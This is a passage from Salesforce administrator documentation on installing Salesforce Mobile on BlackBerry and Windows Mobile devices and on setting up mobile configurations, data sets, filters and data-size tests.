If the icon is not available on your device, you might need to download BlackBerry App World. App World can't run on all BlackBerry smartphones, so be sure to review Research in Motion's system requirements before trying to install BlackBerry App World on your device. 2. Select the Search icon. 3. Enter salesforce in the Search field. 4. In the search results, select Salesforce Mobile orMobile Lite. 5. Click Download. 6. After the installation completes, select OK. 7. When prompted whether to permit the app to access the phone, select Allow. 8. When prompted whether to permit the application to access tp.mobile.salesforce.com, select Yes. 9. Close BlackBerry App World. 10. Select the app icon, which resides on the home page of your device or in the Applications folder. On newer phones, the icon may be in the Downloads folder. 11. Read the license agreement and select I Accept. 12. Enter your Salesforce username and password. Because many passwords contain special characters that are difficult to enter on the device, the Show Password checkbox is selected by default. To protect your password, you can deselect the option. 13. Select Activate. After your username and password are confirmed by Salesforce, the data downloads. The initial data download may last a few minutes. Future updates to the data occur automatically. Note: Customers that manage BlackBerry devices with a BlackBerry Enterprise Server can use Application Push to remotely deliver Salesforce Mobile to users. For more information about Application Push, see the topic titled BlackBerry Enterprise Server Application Push in the Salesforce Mobile Implementation Guide. BlackBerry users can also install Salesforce Mobile over-the-air directly from Salesforce.com if they are unable to download the app from the BlackBerry App World. Note: Mobile Lite activations may show an error if you have complex page layouts or a large number of custom fields.

Windows Mobile Installation


To install the mobile client application on a Windows Mobile device, locate the app in the Windows Marketplace or do the following: 1. Open your Web browser and navigate to the following URL: mobile.salesforce.com. If you received a Salesforce Mobile email message from your Salesforce administrator, you can also click the download link in the message. Note: The installation process for Windows Mobile requires that you use Internet Explorer as the browser.

2. Download the installer. If your phone has a touch screen: a. Tap the Download the application link. b. Verify that the Open file after download checkbox is selected in the Download dialog. c. Select Yes. If your phone does not have a touch screen:

864

Salesforce Mobile

Installing the Salesforce Mobile and Mobile Lite Mobile Applications

a. Select Download, then select Yes. b. After the application downloads, select Done. 3. Return to the phone's home page. From the Start menu, select Salesforce Mobile or Mobile Lite from the list of installed programs. 4. Read the license agreement and select I Accept. 5. Enter your Salesforce username and password. 6. Select Activate. After your username and password are confirmed by Salesforce, the data downloads, and the icon pulses to show activity. The initial data download may last a few minutes. Future updates to the data occur automatically. Note: Mobile Lite activations may show an error if you have complex page layouts or a large number of custom fields. 7. After your records have been downloaded to the device, the login screen appears. The mobile application remembers your username and only prompts you for your password. Enter your password, and select Login.

Zero-Administration Mobile Deployment


If you have been assigned a mobile license but your administrator has not set up your mobile configuration, you can sign up for Salesforce Mobile with the default mobile configuration. The default configuration automatically synchronizes the records you most recently accessed in Salesforce to your mobile device. You can also search for and download any records from Salesforce that are not available locally on your device. Before you activate the mobile application with the default configuration: Review your personal setup to find out if your user account has been assigned a mobile license. If the Mobile User checkbox is selected but the Mobile Configuration field is blank, you can activate Salesforce Mobile using the default mobile configuration. Verify that your device is supported and can run the mobile client application. Install the client application.

See Also:
Salesforce Mobile Overview

Downloading Salesforce Mobile Over-the-Air from Salesforce.com


Available in: All Editions except Database.com

The BlackBerry App World is the preferred place for downloading the Salesforce Mobile app because users are automatically notified as upgrades become available. However, some BlackBerry administrators restrict users from downloading and using the BlackBerry App World on their devices. BlackBerry users can install Salesforce Mobile over-the-air directly from Salesforce.com if they are unable to access BlackBerry App World. To download Salesforce Mobile over-the-air: 1. Point your mobile browser to mobile.salesforce.com/bb. 2. Highlight the Download the application link and select Get Link from the menu. 3. Select Downloadn. If prompted to replace an older version of the client application, select Yes.

865

Salesforce Mobile

Managing Mobile Configurations

Note: The minimum BlackBerry operating system requirement for the mobile application is 4.3. If you're running versions 4.04.3 of the operating system, you can still download and install the mobile application; however, the mobile server will detect the older operating system and send version 11.6 of the mobile application, which was the last release that supported operating system versions 4.04.3. You can't use any of the new features included in the current release or future releases until you upgrade to the most recent BlackBerry operating system for your phone. 4. Select Reboot to restart your device. 5. When prompted to allow an HTTP connection, select the tp.mobile.salesforce.com checkbox. Scroll down and select Allow this connection. 6. Select the Salesforce Mobile icon, which resides on the home page of your device or in the Applications folder. On newer phones, the icon may be in the Downloads folder. 7. Read the license agreement and select I Accept. 8. Enter your Salesforce username and password. Because many passwords contain special characters that are difficult to enter on the device, the Show Password checkbox is selected by default. To protect your password, you can deselect the option. 9. Select Activate. After your username and password are confirmed by Salesforce, the data downloads. The initial data download may last a few minutes. Future updates to the data automatically occur behind the scenes.

Managing Mobile Configurations


Available in: Unlimited and Developer Editions Available for an additional cost in: Professional and Enterprise Editions

User Permissions Needed To view mobile configurations: To create, change, or delete mobile configurations: View Setup and Configuration Manage Mobile Configurations

To deploy Salesforce Mobile to your organization, first create one or more mobile configurations. Mobile configurations are sets of parameters that determine the data Salesforce transmits to users' mobile devices, and which users receive that data on their mobile devices. Organizations can create multiple mobile configurations to simultaneously suit the needs of different types of mobile users. For example, one mobile configuration might send leads and opportunities to the sales division, while another mobile configuration sends cases to customer support representatives. Administrators should note that a default mobile configuration is provided for Professional, Enterprise, Unlimited, and Developer Edition organizations. Administrators cannot view or edit the default configuration. To manage your Salesforce Mobile configurations, click Your Name > Setup > Mobile Administration > Salesforce Mobile > Configurations. To define a mobile configuration, click New Mobile Configuration.

866

Salesforce Mobile

Managing Mobile Configurations

To define data sets for a mobile configuration, click the name of the mobile configuration, then click Edit in the Data Sets related list. To change the properties of mobilized objects, click the name of the mobile configuration, then click Edit next to an object name in the Mobile Object Properties related list. To customize a mobile configuration's tabs, click the name of the mobile configuration, then click Edit in the Mobile Tabs related list. To create custom views for a mobile configuration, click the name of the mobile configuration, then click Edit in the Mobile Views related list. To make changes to a mobile configuration, click Edit. To delete a mobile configuration, click Del. To view details about a mobile configuration, click its name. To clone a mobile configuration, select the mobile configuration you want to clone and click Clone. To activate a mobile configuration, click Edit next to the mobile configuration you want to activate, select Active, and click Save. Deselect Active to deactivate the mobile configuration. Note: After creating mobile configurations and defining the data sets, send a mass email to mobile users explaining how to register their mobile devices. The registration process creates device records in Salesforce, which allows you to manage your organization's mobile devices.

See Also:
Salesforce Mobile Overview Sample Data Sets Salesforce Mobile Implementation Guide Creating Mobile Links Sending Emails to Mobile Users Managing Mobile Devices Viewing Mobile Device Information Setting Mobile Session Timeout Values Erasing Mobile Data

Implementation Tips
Building Lean Data Sets Keep the data sets in your mobile configurations as small as possible. Not only do lean data sets greatly improve the application's performance, but they also make the application easier to usepushing massive amounts of data to the device might seem like a good idea, but the important records tend to get lost among the ones that aren't relevant to users' day-to-day activities. Small data sets are powerful because the mobile application synchronizes with Salesforce every 20 minutes, so the data is constantly refreshed with new and updated records. Even if your mobile configurations don't account for every possible record your users might need, they can search for records that aren't automatically synchronized to their devices. To build small data sets: Nest the objects in the data set tree. For example, add contacts as a child data set of the account object so that the data set includes contacts related to the mobilized accounts instead of all the user's contacts.

867

Salesforce Mobile

Managing Mobile Configurations

Avoid setting the record ownership filter to All Records unless your organization uses a private sharing model. It's unlikely that users need to see all of an object's records on their devices. Instead of mobilizing all opportunity records, for example, mobilize just the opportunities owned by the user or the user's sales team. Use filters that synchronize the most relevant records. For example, even if you limit the opportunities on the device to records owned by the user, you could further prune the data set by mobilizing only opportunities closing this month. Set a record limit to prevent the data set from getting too large. Generally, a single data set should generate no more than 2,500 records. Another way to build lean data sets is to mobilize the Salesforce recent items list, add the data sets, and set the record ownership filters in your data sets to None (Search Only). The user's data set is populated with records recently accessed in Salesforce, and those records in turn synchronize additional data based on the data set hierarchy. For example, let's say you create a data set with the account object at the root level and add the contact, task, and event objects as child data sets. When the mobile application synchronizes an account from the Salesforce recent items list, it also synchronizes the contacts, tasks, and events related to that account. If you're not sure which fields to use as filters for your data sets or mobile views, consider using the Last Activity Date field. For example, set up a filter that synchronizes contacts with an activity logged this week or this month. The Last Activity Date field is a better indicator of a record's relevance than the Last Modified Date fieldoften the main detail of a record remains unchanged even though users frequently log related tasks and events.

Mobilizing Records Users Need Before mobilizing a custom object, make sure the object's functionality is compatible with the mobile application. The mobile application does not support s-controls, mashups, merge fields, image fields, or custom links. To obtain a relevant set of activities, mobilize the task and event objects at the root level of the data set hierarchy and nest them under parent objects, like contacts, accounts, and opportunities. Adding tasks and events at multiple levels ensures that users will see their personal activities and activities related to the records on their devices. Avoid mobilizing too much activity history or too many tasks and events not owned by the user. Generally, there are more task and event records in an organization than any other type of record, so it's easy to bloat data sets with too many activities. If your sales representatives frequently take orders in the field and need a comprehensive inventory list, add the product object at the root level of the data set hierarchy. Nesting the opportunity product object below the opportunity object won't mobilize all products. If your users need to assign tasks to other users or change the record owner, mobilize the user object so that the names of other users will be available on the device. Avoid mobilizing all user recordsinstead, set up filters based on the role or profile. Be sure that users assigned to a mobile configuration have field-level access to all the fields used in the configuration's filter criteria. If a user doesn't have access to a field in a data set's filter criteria, the mobile application won't synchronize the records for that data set or its child data sets. You can sometimes use cross-object formula fields to work around limitations of the mobile application. For example, the mobile application doesn't support campaigns, so you can't add the campaign object as a data set and add the opportunity object as its child data set to get the related records. However, you can create a text formula field on the opportunity object equal to the name of the parent campaign. The field needs to be visible, but it doesn't need to be included on your page layouts. Then add the opportunity object to the data set and use the new formula field to filter opportunities related to a specific campaign. Although a mobile configuration might include an object at multiple levels in the data set hierarchy, users won't see duplicate tabs in the mobile application. Only one Task tab appears on the device even if you mobilize the task object at the root level and as a child data set of three objects.

Customizing Mobile Configurations Clean up your mobile page layouts by excluding fields from the objects in the mobile configuration. Less data is sent to the device, and mobile users don't have to scroll through unnecessary fields.

868

Salesforce Mobile

Managing Mobile Configurations

If you mobilize the Dashboards tab, be sure to select any other tabs that should appear in the mobile application. Customizing the tabs for a mobile configuration overrides the default tab setif you only mobilize the Dashboard tab, it will be the only tab sent to the device. The Windows Mobile application doesn't include a standard view for tasks that displays today's tasks. To provide this view to Windows Mobile users, create a custom mobile view with these filter criteria: Assigned To equals $User.ID Due Date equals TODAY To create a view that displays tasks due this week instead of the current day, substitute THIS WEEK for TODAY.

Due to the small size of mobile device screens, you can only select two display columns for mobile views. If you need three columns of data, create a text formula field on the object that concatenates the three fields, then use the formula field in the mobile view criteria. When creating mobile views, you can filter based on the current user with the $User.ID global variable, but you can't enter a user's name as a value in the filter criteria. To build a view based on users, create a text formula field on the appropriate object, then use the formula field in the mobile view criteria. For example, to create a view that displays opportunities owned by a sales team, create a text formula field on the opportunity object that contains the opportunity owner's user ID or role, then create a view that filters on values in that field.

Testing and Deploying the Mobile Product It's important to test mobile configurations to make sure they're synchronizing an acceptable amount of data. Test configurations against active users who own a very large number of records. Typically, most data sets generate between 500 KB and 4 MB of data. If the data sets are over 4 MB, refine the filter criteria to limit the amount of data sent to the device. You can use the mobile application in the sandbox before deploying to your organization. Use of the mobile application requires a data plan. The wireless data volume for the mobile application varies greatly between customers and even users in the same organization. It's impossible to predict your organization's data usage, but we can offer some guidelines: The initial data download consists of records that match the criteria specified in the user's mobile configuration and the metadata needed to support these records when disconnected. On average, the data sizes range from 500 KB4 MB. After the initial download of data, incremental update requests are initiated by the client application every 20 minutes. Each of these requests and the corresponding server response are approximately 200 bytes. If any new data is downloaded to the client application as a result of the update request, only the new or changed values are sent. For example, the application only downloads the new phone number in a contact record, not the entire contact record. The amount of data transmitted differs for every organization and every user. Generally, the volume of data transmitted by the mobile application is low compared to moderate email usage. If you're deploying to BlackBerry users, evaluate your corporate network infrastructure before implementing the mobile solution.

Best Practices
Use the zero-administration deployment option to experiment with the mobile application before you set up mobile configurations. You'll create better blueprints for your mobile configurations if you've tried using the mobile application. Talk to users about their favorite reports, views, and dashboards to get ideas for what filter criteria to use in mobile configurations.

869

Salesforce Mobile

Managing Mobile Configurations

After setting up mobile configurations, deploy the mobile application on a limited basis with a select group of users. Adjust the mobile setup based on their feedback, then deploy to all of your users.

About the Default Mobile Configuration


Available in: All Editions except Database.com

Mobile configurations are sets of parameters that determine what data Salesforce transmits to users' mobile devices and which users receive the data on their mobile devices. A default mobile configuration is provided for Professional, Enterprise, Unlimited, and Developer Edition organizations. Administrators cannot view or edit the default mobile configuration. The default mobile configuration serves two purposes: It allows users with an assigned mobile license to install and activate Salesforce Mobile, even if their administrators have not yet assigned them to a mobile configuration. Caution: To prevent users from activating Salesforce on their mobile devices before you are ready to deploy mobile in your organization, remove the mobile license from your user accounts by editing the user records and deselecting the Mobile User checkbox. It allows users without an assigned mobile license to install and activate Mobile Lite, which is the free version of Salesforce Mobile. To prevent users from activating Mobile Lite on their mobile devices, disable Mobile Lite for your organization by editing your mobile settings.

The default configuration can mobilize the following objects: Accounts Assets Cases Contacts Dashboards Events Leads Opportunities Reports Solutions Tasks

The default configuration automatically synchronizes records the user recently accessed in Salesforce. Users can search for records that are not automatically synchronized; once the user downloads a record, the record becomes a permanent part of the data set. In addition to recently accessed records, the default configuration synchronizes activities closed in the past five days and open activities due in the next 30 days. Note: Assets are not available as a tab in the mobile application. Assets display as a related list for accounts, cases, and contacts.

870

Salesforce Mobile

Creating Mobile Configurations

Dashboards are not available in the Windows Mobile client application.

Creating Mobile Configurations


Available in: Unlimited and Developer Editions Available for an additional cost in: Professional and Enterprise Editions

User Permissions Needed To view mobile configurations: To create, change, or delete mobile configurations: View Setup and Configuration Manage Mobile Configurations

To create a mobile configuration: 1. 2. 3. 4. 5. Enable Users for Salesforce Mobile Enter Basic Information Assign Users and Profiles Set Total Data Size Limit Complete Your Mobile Configuration Note: If your organization enabled Mobile Lite, you don't need to create any mobile configurations. Mobile Lite users are assigned to a default mobile configuration when they activate their Salesforce account from a mobile device. You can't view or edit the default mobile configuration.

Enable Users for Salesforce Mobile


Before creating your mobile configurations, plan which profiles and users you want to assign to each configuration. Each mobile configuration only affects the mobile devices of users assigned to the configuration. You can assign individual users and profiles to each mobile configuration. If you assign a profile to a mobile configuration, the mobile configuration applies to all Salesforce Mobile users with that profile unless a specific user is assigned to another mobile configuration. Tip: For ease of administration, we recommend that you assign mobile configurations to profiles; however, you may have situations in which you need to assign a configuration directly to individual users. For each user you want to assign to a mobile configuration: 1. Edit the user's record. 2. Select the Mobile User checkbox to allocate a mobile license to the user. This checkbox is enabled by default for Unlimited Edition users. The Mobile User checkbox doesn't apply to Mobile Lite users because they can access Salesforce from their device without a mobile license. To prevent Salesforce Mobile users from activating Salesforce on their mobile devices before you are ready to deploy mobile in your organization, disable the checkbox for all your users. If you deselect this checkbox for a user who is already assigned to a mobile configuration, Salesforce removes that user from the mobile configuration. For information on the Mobile User checkbox, see User Fields on page 32.

871

Salesforce Mobile

Creating Mobile Configurations

For each custom profile to which mobile users are assigned, edit the profile to include the API Enabled permission. Mobile users need access to the API so that their wireless devices can communicate with Salesforce. The API Enabled permission is enabled by default on standard profiles. For information on editing profiles, see User Profiles Overview on page 490.

Enter Basic Information


1. Click Your Name > Setup > Mobile Administration > Salesforce Mobile > Configurations to access the mobile configurations list page. 2. Click New Mobile Configuration. 3. Enter a name for the mobile configuration. 4. Select the Active checkbox if you want to activate the mobile configuration immediately after creating it. The mobile configuration does not work until you select this checkbox. If you deactivate an active mobile configuration, Salesforce saves all requests from devices of the users assigned to the mobile configuration for up to one week. If you reactivate the mobile configuration, Salesforce executes those requests in the order received. 5. Optionally, enter a description for the mobile configuration. 6. Optionally, select the Mobilize Recent Items checkbox to mark recently used records in Salesforce for device synchronization. Selecting this option ensures that mobile users assigned to the configuration will not have to search for and download items they recently accessed on Salesforce, even if those records do not meet the configuration's filter criteria. Only records belonging to mobilized objects can be marked for device synchronization; for example, if you do not mobilize the account object in a configuration, users assigned to that configuration cannot automatically receive recent accounts on their devices. 7. If you select the Mobilize Recent Items checkbox, select a value from the Maximum Number of Recent Items drop-down list. Set a low number if your users have minimal free space on their mobile devices. 8. Optionally, select the Mobilize Followed Records checkbox to automatically synchronize records users are following in Chatter to their mobile device. The device only synchronizes followed records for objects included in the mobile configuration's data set. The Mobilize Followed Records checkbox is only available if Chatter is enabled for your organization.

Assign Users and Profiles


To assign users and profiles to a mobile configuration: 1. In the Search drop-down list, select the type of member to add: users or profiles. This drop-down list is not available if you have not enabled the Mobile User checkbox on any user records, or if all users are already assigned to a mobile configuration; in that case, you can only assign profiles to this mobile configuration. 2. If you do not immediately see the member you want to add, enter keywords in the search box and click Find. 3. Select users and profiles from the Available Members box, and click the Add arrow to add them to the mobile configuration. You can assign each user and profile to only one mobile configuration. The Available Members box only displays users who have the Mobile User checkbox enabled. For information on this checkbox, see User Fields on page 32. 4. If there are users or profiles in the Assigned Members box you do not want to assign to this mobile configuration, select those users and click the Remove arrow. Caution: Removing a user from an active mobile configuration deletes the Salesforce-related data on the user's mobile device but does not delete the client application.

872

Salesforce Mobile

Creating Mobile Configurations

Set Total Data Size Limit


Different types of mobile devices offer different memory capacities, and some devices experience serious problems if all of the flash memory is used. To avoid overloading mobile devices, optionally specify a total data size limit for each mobile configuration. The total data size limit prevents Salesforce from sending too much data to the mobile devices of users assigned to the mobile configuration. To set the total data size limit, use the Don't sync if data size exceeds drop-down list to specify the amount of memory that is consistently available on the mobile devices of users who are assigned to this mobile configuration. If the combined size of all the data sets exceeds this limit, users assigned to this profile receive an error message on their mobile devices, and Salesforce will not synchronize any data sets in this mobile configuration. Test your mobile configuration to make sure the data sets do not exceed the total data size limit. Tip: To reduce the size of your data, do one or more of the following: Delete a data set. Reduce the scope of your data sets. Refine the filter criteria of your data sets.

Complete Your Mobile Configuration


Click Save when you are done. Note that your mobile configuration is not active until you select the Active checkbox. Next, define the data sets for this mobile configuration to determine the data that members of the mobile configuration receive on their mobile devices and test the configuration to verify that the data size limit for a user's device will not be exceeded. After creating mobile configurations and defining the data sets, send a mass email to mobile users explaining how to register their mobile devices. The registration process creates device records in Salesforce, which allows you to manage your organization's mobile devices.

See Also:
Salesforce Mobile Overview Managing Mobile Configurations Sending Emails to Mobile Users Managing Mobile Devices Chatter Mobile App Overview

Defining Data Sets

873

Salesforce Mobile

Defining Data Sets

Available in: Unlimited and Developer Editions Available for an additional cost in: Professional and Enterprise Editions

User Permissions Needed To view mobile data sets: To create, change, or delete mobile data sets: View Setup and Configuration Manage Mobile Configurations

Accessing Salesforce from a mobile device is very different than accessing it from your computer. This is because mobile devices generally have less memory and screen size than computers, and they do not maintain a constant network connection. To work with these limitations, each mobile configuration only transfers data sets, which are subsets of the records users access in the Salesforce online user interface. Mobile devices store data sets in on-board databases, allowing users to access their most important records and work offline when no network connection is available. Salesforce automatically synchronizes the on-board databases when the mobile device reestablishes a network connection. Each data set can contain records related to a single object and is classified by the name of that object. For example, the Accounts data set only includes account records. Data sets can have child data sets, which are data sets that contain records associated with a top-level (parent) data set. For example, if the first level of your hierarchy has an Accounts data set, you can add a Contacts child data set that includes all contact records related to the account records. Child data sets appear as related lists on mobile devices. A single mobile configuration can have multiple data sets for the same object and at different levels. For example, you can have an Events parent data set and an Events child data set under Leads. Tip: Review the sample data sets to see how you might define data sets for common groups of Salesforce users.

After creating a mobile configuration, you must define its data sets. To access the data sets for a mobile configuration: 1. Click Your Name > Setup > Mobile Administration > Salesforce Mobile > Configurations, and click the name of the mobile configuration you want to modify. 2. In the Data Sets related list, click Edit. 3. From the Data Sets page, you can: Add a data set. Remove a data set by selecting the data set you want to remove and clicking Remove. Edit a data set by selecting the data set you want to edit in the hierarchy. The right pane displays the filters for that data set. Test your mobile configuration.

As you define and modify the data sets, Salesforce automatically saves your changes. 4. Click Done when you are finished.

Adding Data Sets


To add a data set: 1. In the hierarchy, select Data Sets to create a parent data set, or select an existing data set to create a child data set. 2. Click Add....

874

Salesforce Mobile

Defining Data Sets

3. In the popup window, select the object for the records you want the data set to include. Salesforce lets you create parent data sets for all custom objects and the following standard objects: Accounts Assets Attachments Cases Contacts Content Events Leads Notes Opportunities Price Books Products Solutions Tasks Users Note: Although attachments are available as a data set, they're only supported in Salesforce Mobile for Windows Mobile. Salesforce Mobile for iPhone and BlackBerry don't currently support attachments. The Windows Mobile application does not currently support solutions. Salesforce Mobile supports default field values only for picklists and multiselect picklists. Default field values for other types of fields, such as checkboxes and numeric fields, do not appear in Salesforce Mobile.

When adding to an existing data set, the popup window displays any object with a relationship to the selected object. This includes child objects, and also parent objects with a master-detail or lookup relationship to the selected object. For example, assume you created an account field called Primary Contact with a lookup relationship to the contact object. If you add Account as a top-level data set in a mobile configuration, you see two sets of contacts when you add Contact below Account: Contact: Represents the standard relationship between the account and contact objects. Contact (Referenced by Account): Represents any object that is the parent in a lookup or master-detail relationship for the selected object. In this case, the contact object is referenced by the Primary Contact field on the account object.

Because Salesforce distinguishes between these two types of relationships, you could, for example, mobilize just the contacts referenced by a custom account field without sending any child contact records to the device. 4. Click OK. The data set you created appears in the hierarchy. 5. Optionally, use filters to restrict the records that a parent or child data set includes: a. Use the Filter by Record Ownership options to configure Salesforce to automatically synchronize records based on the owner of the record. The possible options are:
All Records: Salesforce automatically synchronizes all records the user can access. The All Records option

is not available for tasks and events when they are parent data sets in a mobile configuration. This helps prevent failed data synchronization due to activity filter queries that take too long to run. User's Records: Salesforce automatically synchronizes all records the user owns. User's Team's Records: Salesforce automatically synchronizes all records owned by the user and the user's subordinates in the role hierarchy.

875

Salesforce Mobile

Defining Data Sets

User's Account Team's Records: Salesforce automatically synchronizes accounts for which the user is an

account team member, but does not include accounts owned by the user. User's Sales Team's Records: Salesforce automatically synchronizes opportunities for which the user is a sales team member, but does not include opportunities owned by the user. None (Search Only): Salesforce does not automatically synchronize any records for this data set; however, users can use their mobile devices to search all of the records they can access.

Salesforce only displays options that relate to the selected data set. For example, selecting an account data set displays the User's Account Team's Records option, while selecting an opportunity data set displays the User's Sales Team's Records option. If your mobile needs for an object require a combination of the available record ownership filters, you can add the same object data set up to four times on the same hierarchy level. For example, a sales manager might want to synchronize his opportunities, opportunities owned by his subordinates, and opportunities for which he is a sales team member. In this case, you would add an opportunity data set and select User's Team's Records, then add a second opportunity data set at the same level in the hierarchy and select User's Sales Team's Records. Note that objects with only one ownership filter option, such as Case Comment, cannot be added multiple times at the same level of the hierarchy. b. Set the filter criteria to automatically synchronize only records that meet specific criteria in addition to the Filter by Record Ownership option you selected. For example, you can set the filter to only include opportunity records with amounts greater than $50,000, or contact records with the title Buyer. You can use special date values in your filter conditions for mobile configurations. Additionally, several $User global variables are available in mobile filters. Click Add Filter Logic to change the default AND relationship between each filter. c. To prevent a single data set from consuming all the memory on a mobile device, select the second radio button under Set Max Record Limit and enter the maximum number of records this data set can transfer to mobile devices. Use the Order By and Sort drop-down lists to specify which records are synchronized if the data size limit is exceeded. If the limit is reached, Salesforce updates the records currently on the mobile device approximately every 20 minutes, and replaces the records approximately every 24 hours in accordance with the Order By and Sort settings. For example, if the settings are Last Modified Date and Descending, Salesforce transfers the most recently modified records to mobile devices and removes the same number of records that were least recently modified. If you selected the None (Search Only) Filter by Record Ownership option, the limit you set does not apply because no records are automatically synchronized. Tip: Do not use Set Max Record Limit in place of filters. Only use Set Max Record Limit as a safety mechanism, and use filters as the primary means of limiting the number of records on a mobile device. This ensures that your mobile users receive the correct records on their devices. Because of the memory restrictions of mobile devices, Salesforce prevents a single query from returning more than 2,500 records. 6. Be sure to test your mobile configuration to make sure the data does not exceed the total data size limit. 7. Click Done when you are finished.

876

Salesforce Mobile

Defining Data Sets

8. After creating mobile configurations and defining the data sets, send a mass email to mobile users explaining how to register their mobile devices. The registration process creates device records in Salesforce, which allows you to manage your organization's mobile devices.

See Also:
Salesforce Mobile Overview Managing Mobile Configurations Editing Mobile Object Properties Managing Mobile Views Managing Mobile Tabs Sending Emails to Mobile Users Managing Mobile Devices Setting Up Mobile Content

Merge Fields for Mobile Filter Criteria


Available in: Unlimited and Developer Editions Available for an additional cost in: Professional and Enterprise Editions

Some of the $User merge fields are available when defining filters for mobile configurations and mobile custom views. In mobile configurations, you can use these merge fields to synchronize records where the user is linked to a record but is not the record owner. For example, you can send cases created by the current user to the mobile device, or you can send records to the device where the current user is referenced in a custom field. In mobile views, you can use the merge fields to define view based on the record owner; for example, you might create a view that displays the current user's accounts with a rating of Hot. The following table describes the available user merge fields: Merge Field
$User.ID

Description References the ID of the current user. This merge field can be applied to fields that contain a user lookup. The valid operators for this merge field are Equals and Not Equal To. When creating mobile view filters that reference an owner field, you can only use the $User.ID merge field. References the username of the current user. This merge field can be applied to any text or lookup field, except picklists. The valid operators for this merge field are Equals, Not Equal To, Greater Than or Equal, Less Than or Equal, Contains, Does Not Contain, and Starts With. References the first name of the current user. This merge field can be applied to any text or lookup field, except picklists. The valid operators for this merge field are Equals, Not Equal To,

$User.Username

$User.Firstname

877

Salesforce Mobile

Defining Data Sets

Merge Field

Description Greater Than or Equal, Less Than or Equal, Contains, Does Not Contain, and Starts With.

$User.Lastname

References the last name of the current user. This merge field can be applied to any text or lookup field, except picklists. The valid operators for this merge field are Equals, Not Equal To, Greater Than or Equal, Less Than or Equal, Contains, Does Not Contain, and Starts With. References the first and last name of the current user. This merge field can be applied to any text or lookup field, except picklists. The valid operators for this merge field are Equals, Not Equal To, Greater Than or Equal, Less Than or Equal, Contains, Does Not Contain, and Starts With.

$User.Fullname

See Also:
Managing Mobile Configurations Understanding Global Variables Salesforce Mobile Overview

Sample Data Sets


Many administrators create mobile configurations based on the functional groups in their organization because users in the same group usually have similar mobile requirements for data. Below are sample data sets for common Salesforce groups. Your mobile users have unique needs, but you can use the examples as a reference to help you get started with mobile configurations. Sales Manager Sales managers usually need to see records they own and also the records of their subordinates. They also tend to closely monitor large deals in the pipeline. This mobile configuration allows sales managers to see: The opportunities they own. The opportunities owned by users who report to them in the role hierarchy. All opportunities scheduled to close in the current quarter with an amount greater than $100,000. All accounts related to the opportunities. A subset of their contact and activity records.

878

Salesforce Mobile

Defining Data Sets

Figure 3: Sample Mobile Configuration for Sales Managers Sales Engineer The sales engineer mobile configuration retrieves opportunities owned by the other members of the user's sales team, but does not include the user's records. The configuration is opportunity-based because all accounts and contacts sent to the device are related to the opportunities. The sales engineers would see activity history related to the opportunities on the device and also their own activities.

Figure 4: Sample Mobile Configuration for Sales Engineers Account Executive This account executive mobile configuration is account-based, which means the device pulls down the user's accounts and opportunities related to those accounts. The opportunities are filtered so that only open opportunities scheduled to close in the current quarter appear on the device. The Task and Event child data sets retrieve all activities related to those opportunities, not just the user's activities. Only open tasks and events from a two-month window are sent to the device. The Task and Event parent data sets pull down just the user's activities and restrict the activities to open tasks and events scheduled for the next 30 days. The Contact data set delivers the user's contact records, but limits the record count to the 500 most recently active contacts.

Figure 5: Sample Mobile Configuration for Account Executives

879

Salesforce Mobile

Testing Mobile Configurations

Customer Support Representative Customer support representatives are focused primarily on cases and solutions. This mobile configuration delivers all open cases to the user's device, along with related accounts, contacts, case comments, case history, tasks, and events. The Case Solution child data set sends all solutions related to the cases, and the Solution data set lets the user search for solutions from the Solutions tab on the device. The support representatives also have access to a subset of their activity records.

Figure 6: Sample Mobile Configuration for Customer Support Representatives

See Also:
Salesforce Mobile Overview Managing Mobile Configurations

Testing Mobile Configurations


Available in: Unlimited and Developer Editions Available for an additional cost in: Professional and Enterprise Editions

User Permissions Needed To view mobile data sets: To test mobile configurations: View Setup and Configuration Manage Mobile Configurations

When you create a mobile configuration, you specify a total data size limit for the configuration. The total data size limit prevents Salesforce from sending too much data to the mobile devices of users assigned to the mobile configuration. After defining the data sets, it is important to test the mobile configuration to make sure the total data size limit is not exceeded. To estimate the size of the data set that the mobile configuration will deliver to a user's device:

880

Salesforce Mobile

Testing Mobile Configurations

1. Click Your Name > Setup > Mobile Administration > Salesforce Mobile > Configurations, and click the name of the mobile configuration you want to test. 2. In the Data Sets related list, click Edit. 3. In the Test Data Size section, click the lookup icon next to the Select a user field to choose the user you want to test. While users must be mobile-enabled in order to assign them to mobile configurations, you can test the configuration's data size against any user account. The Select a user field defaults to the name of the user currently logged in; however, it is important to test a mobile configuration with the accounts of users who will actually be assigned to the configuration, particularly users who own a large number of records. 4. Select the Include metadata checkbox to include metadata in the estimate. Metadata consists of page layout and schema information, and the amount of metadata sent to a device can be very high depending on the size of your organization and the complexity of its setup. Caution: It might take a while for Salesforce to calculate the metadata size in addition to the data size. Even if you choose to hide the metadata in your test results, the metadata is still factored into the total data size when the mobile device synchronizes with Salesforce. 5. Click Estimate Data Size. The size of each data set is calculated. Results display in the hierarchy tree, which is the left pane of the data set region at the top of the page. Additional results appear in the Test Data Size section below the hierarchy. In the hierarchy tree, two numbers appear next to each data set. The first represents the number of records generated by the data set, and the second represents the total size of the data set in bytes or kilobytes. This breakdown is useful for identifying which data sets might require additional filtering criteria to reduce the size. The Test Data Size section provides an estimate of the data that the current mobile configuration would deliver to the selected user's device, including: The size and number of records in each object's data set. The total size and number of records, which includes records in the data set and marked records. A marked record is a record that is not part of a user's mobile configuration. There are two ways marked records can become part of the data set: The user downloads records to his or her device through online searches, and the records are flagged so that they get sent to the user's device every time the device synchronizes with Salesforce. Records in the user's data set contain lookup fields to records that do not match the mobile configuration's filter criteria. Salesforce synchronizes the records referenced in the lookup fields so that users do not encounter broken links in the mobile application. Tip: For an accurate count of the marked records, synchronize the data in the mobile application before estimating the data size. To synchronize the data: In the BlackBerry application, open the menu and select System Info, then open the menu and select Refresh All Data. In the iPhone application, tap More, then tap App Info. Tap Sync Now, then tap Refresh All Data. In the Windows Mobile application, select Options > System Info, then select Actions > Refresh All Data.

The size of the metadata that would be sent to the device for the user, if you selected the Include metadata checkbox. The total mobilized data set, which is the sum of all the records.

881

Salesforce Mobile

Editing Mobile Object Properties

Reports are not included in the data size estimate.

